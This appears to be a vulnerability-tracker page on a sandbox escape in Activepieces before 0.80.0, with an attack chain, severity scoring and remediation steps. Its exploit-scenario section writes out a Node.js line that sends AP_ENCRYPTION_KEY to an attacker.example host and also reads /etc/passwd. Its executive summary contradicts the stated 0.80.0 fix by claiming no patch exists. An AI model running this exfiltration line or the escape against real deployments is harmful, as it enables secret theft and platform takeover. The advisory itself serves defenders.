Skip to main content

Activepieces EUVDEUVD-2026-56551

| CVE-2026-73083 HIGH
Protection Mechanism Failure (CWE-693)
2026-08-11 GitHub_M
7.6
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privilege Code step author
  2. Delivery
    Craft module with malicious top-level Node.js code
  3. Exploit
    Submit Code step to Activepieces engine
  4. Install
    Engine calls importFresh() before V8 isolate activates
  5. C2
    Malicious code executes in unrestricted host process
  6. Execute
    Exfiltrate AP_ENCRYPTION_KEY and AP_JWT_SECRET
  7. Impact
    Forge JWTs and decrypt stored platform credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Protection mechanism completeness
Exploitation Conditions

Exploitation requires an authenticated Activepieces account that has been granted permission to create or modify Code steps - this is a user-level capability typically granted by administrators to workflow authors, not a default-unprivileged role. The Activepieces instance must be running in SANDBOX_CODE_ONLY mode; other sandbox configurations do not trigger the vulnerable importFresh() code path and are not affected. The attack is constrained to users trusted enough by the platform operator to write automation code, meaning exploitation by external unauthenticated actors is not possible. What limits exploitation: authentication is required (PR:L in CVSS 4.0), the specific SANDBOX_CODE_ONLY mode must be the active configuration (AT:P in CVSS 4.0), and the user must have Code step creation rights specifically. Deployments not using SANDBOX_CODE_ONLY mode are entirely unaffected by this vulnerability.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N) scoring 7.6 reflects a network-accessible flaw requiring low privileges but constrained by a specific attack prerequisite (AT:P) - the SANDBOX_CODE_ONLY mode must be active. The High vulnerable-system confidentiality and integrity impacts are well-justified: AP_ENCRYPTION_KEY and AP_JWT_SECRET exposure compromises the entire platform's cryptographic trust model, enabling JWT forgery and decryption of all stored credentials. No CISA KEV listing and no public POC have been identified, suggesting exploitation has not yet been widespread or publicly demonstrated. EPSS data was not provided in the source intelligence, so probabilistic exploitation likelihood cannot be quantified. The AT:P constraint is the primary real-world risk limiter - operators not using SANDBOX_CODE_ONLY mode are unaffected by this specific escape. For affected deployments, however, the downstream blast radius of key compromise is disproportionately large relative to the 7.6 score, making this a genuine remediation priority over lower-scoring but more contained flaws.

Exploit ScenarioDerived

An authenticated Activepieces user with Code step creation rights submits a module containing top-level Node.js code such as require('https').get('https://attacker.example/exfil?key=' + process.env.AP_ENCRYPTION_KEY) and require('fs').readFileSync('/etc/passwd'). When the Activepieces engine processes this step in SANDBOX_CODE_ONLY mode, importFresh() loads and executes the module before the V8 isolate is activated, causing the top-level code to run unrestricted in the host process and transmitting encryption keys and JWT secrets to the attacker's server. With AP_JWT_SECRET in hand, the attacker forges administrative JWTs and gains full platform control; no public POC has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Sandbox escape in Activepieces prior to version 0.80.0 allows authenticated users with Code step creation rights to execute arbitrary Node.js code in the host engine process, bypassing the V8 isolate entirely. The flaw exists because the engine calls importFresh() - a wrapper around Node.js require() - to load user-supplied compiled modules before the V8 sandbox is instantiated, meaning top-level module code runs unrestricted in the host process. An attacker exploiting this can exfiltrate platform-critical environment secrets (AP_ENCRYPTION_KEY, AP_JWT_SECRET), read or write arbitrary files on the host, and reach internal services; no public exploit has been identified at time of analysis, but key compromise would have platform-wide cascading consequences.

RemediationAI

Upgrade Activepieces to version 0.80.0 immediately; this is the vendor-confirmed fix as documented at https://github.com/activepieces/activepieces/releases/tag/0.80.0. If upgrade cannot be performed immediately, restrict Code step creation privileges to fully trusted administrative users only - this eliminates the attack surface since exploitation requires an authenticated account with this specific capability, though it reduces platform functionality for broader user bases. As a mandatory post-incident action on any pre-0.80.0 instance where untrusted or semi-trusted users had Code step access, rotate AP_ENCRYPTION_KEY and AP_JWT_SECRET immediately, then re-encrypt any secrets stored using the old key, and invalidate all active JWT sessions; the assumption must be that these values are compromised if the vulnerable mode was active. No technical workaround eliminates the underlying module-load sequencing flaw - privilege restriction is the only viable compensating control short of patching.

Affected VersionsENISA

activepieces < 0.80.0

Affected Packages

euvd activepieces fix: 0.80.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Activepieces is a Node.js-based open-source AI workflow automation platform that allows users to author 'Code steps' executed within a V8 isolate sandbox. In SANDBOX_CODE_ONLY mode specifically, the engine invokes importFresh() - a third-party library designed to bypass Node.js's module cache by calling require() fresh - to load the compiled user module prior to instantiating the V8 isolate. This ordering error means that any JavaScript placed at the top level of the user module executes in the unrestricted host process context with full access to Node.js built-in modules including child_process, fs, and process.env, before any sandbox boundary is established. CWE-693 (Protection Mechanism Failure) precisely describes this root cause: the sandbox mechanism exists and would otherwise function, but a sequencing flaw in the loading pipeline allows it to be bypassed entirely. The CPE string cpe:2.3:a:activepieces:activepieces:*:*:*:*:*:*:*:* confirms all versions prior to 0.80.0 carry this flaw.

Know when Activepieces gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
vuln.today AI 8.2 HIGH

SANDBOX_CODE_ONLY mode prerequisite maps to AC:H; low-privilege authenticated Code step author yields PR:L; host process escape with key access is S:C with full C and I impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 11, 2026 - 18:19 EUVD
CVE Published
Aug 11, 2026 - 16:33 cve.org
HIGH 7.6

DescriptionCVE.org

Activepieces is an open source AI workflow automation platform. Prior to 0.80.0, in SANDBOX_CODE_ONLY mode, the engine loads the compiled user module with importFresh(), a wrapper around Node.js require(), before the V8 isolate is applied. Top-level module code can therefore call require('child_process'), access fs, and use other Node.js APIs in the host engine process outside the sandbox. An authenticated user who can create a Code step can read environment secrets including AP_ENCRYPTION_KEY and AP_JWT_SECRET, read or write files, and reach internal services. This issue is fixed in version 0.80.0.

Executive ViewAI

Why It Matters

Activepieces versions prior to 0.80.0 contain a sandbox escape vulnerability affecting authenticated users with Code step creation rights, potentially enabling access to platform encryption keys, secrets, and internal systems-no public exploit identified at time of analysis. Successful exploitation could compromise cryptographic credentials and customer data across the entire platform, requiring incident response and key rotation. Organizations using Activepieces should immediately restrict Code step creation rights while awaiting vendor patches.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: enforce strict role-based access control restricting Code step creation to minimal trusted personnel only, implement real-time monitoring and alerting on Code step execution with anomaly detection, disable Code step functionality entirely if not operationally required, segregate Activepieces infrastructure from internet-facing systems and critical internal services, enforce multi-factor authentication for users with Code step permissions, and establish a credential rotation schedule for AP_ENCRYPTION_KEY and AP_JWT_SECRET with at least quarterly updates.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
open-source niche workflow automation, limited production enterprise footprint
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy